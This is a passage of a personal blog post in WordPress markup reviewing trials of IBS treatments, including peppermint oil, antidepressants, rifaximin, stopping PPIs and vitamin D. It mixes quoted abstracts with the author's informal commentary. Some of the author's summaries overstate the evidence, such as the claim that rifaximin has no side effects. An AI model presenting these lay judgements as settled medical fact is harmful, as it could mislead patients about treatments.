good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a &nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img 